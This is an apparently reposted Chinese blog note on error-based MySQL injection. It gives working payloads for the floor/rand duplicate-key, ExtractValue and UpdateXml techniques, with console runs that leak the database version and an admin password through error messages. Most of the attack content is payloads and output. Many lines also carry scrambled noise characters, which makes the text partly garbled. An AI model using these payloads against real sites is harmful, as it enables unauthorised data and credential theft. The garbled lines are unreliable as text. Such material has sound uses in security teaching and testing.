关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| admin          |
| article        |
" X! C. {9 Q3 h" }) n; B) ~- j+----------------+



mysql> describe admin;
; `# L; [4 k/ v$ Z5 b. Z3 u' X* o+-------+------------------+------+-----+---------+----------------+
' s( Q. M2 g8 D/ {+ R9 e% K1 [| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
! F0 N, |1 S* f
% v3 o: z+ O2 ~  S8 V  U0 @

mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
( S8 h! `3 ]: J| Field   | Type             | Null | Key | Default | Extra          |
) b" k( r% f( @# Y! R7 h6 T+---------+------------------+------+-----+---------+----------------+
6 f' c+ W% Z2 I% m+ Z4 w. G| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
; c; A/ {6 g# R6 Y, J- X. ]2 G| title   | varchar(50)      | NO   |     | NULL    |                |
! g; E8 ?  B* Q- v7 {- Y  v4 L% j# Y| content | varchar(50)      | NO   |     | NULL    |                |
. }: w4 V( T2 t+---------+------------------+------+-----+---------+----------------+
$ S6 V# I! G4 l9 `1、通过floor报错
可以通过如下一些利用代码

" {# ]5 L9 Q, G3 z7 r) K
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
- j+ |* J. N; p; E/ qfrom information_schema.tables group by x)a);


( N2 R2 ~  o1 a  W: k) aand (select count(*) from (select 1 union select null union select !1)x
; l2 Z4 K. @" b! C& k& z& @group by concat((select table_name from information_schema.tables limit 1),
" v( f/ }+ W* I# z$ g- d' U$ x  qfloor(rand(0)*2)));
举例如下：
/ z; Z2 ?. O" V9 N2 H/ c首先进行正常查询：

& d/ \/ B( V1 P! Q" Q* i5 ^mysql> select * from article where id = 1;
+----+-------+---------+
4 J  h# f8 Y+ E! R0 `- y3 _$ g| id | title | content |
+----+-------+---------+
- }0 b7 j( d# {7 E; ?|  1 | test  | do it   |
% t8 h0 A- @5 q& e5 `: u* s/ H+----+-------+---------+
* s  \/ `( l7 c; `4 m5 ^假如id输入存在注入的话，可以通过如下语句进行报错。


6 t9 u8 n3 B" Z9 Z2 E( G  ]mysql> select * from article where id = 1 and (select 1 from
/ m! M% X6 ~( R1 {1 f- Z& n5 |* A(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
& w: G0 y; i2 V1 X# U+ X% I& ?( aERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
6 u3 k7 u: d3 c6 A例如我们需要查询管理员用户名和密码：
Method1:


4 M+ W6 y9 r0 @5 O6 {+ tmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
9 u" b. j" o( W7 s# Rfrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
  l" h) `$ {9 ~. j+ r- }9 f

mysql> select * from article where id = 1 and (select count(*)
( Q0 U8 \$ F8 v' V! I" c! c# @0 ufrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
. A$ N' c8 f/ |( x% Ufloor(rand(0)*2)));
$ S5 _) ?: Z9 g) g4 Z0 H  h6 TERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
5 z4 V0 N. }' M; t2、ExtractValue
测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
' z, g/ N; z- L( d( e+ i

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
/ ?/ x: A! r3 M# E: Z8 A1 B4 G; w3、UpdateXml
* |" f9 _( C" S测试语句
& U1 C# d3 \. T  v+ y& X( z% ^; V) [, `

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
5 t9 p3 r2 g& I% N9 ]5 s( R实际测试过程
: ^5 r, _2 I9 C* j6 u7 k/ `
5 Q9 l( Z" w# e" ]! x0 N
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
: Z9 H8 [  [$ r3 ^' E/ ?$ q) jAll, thanks foreign guys.

​
- b5 T! H2 q) P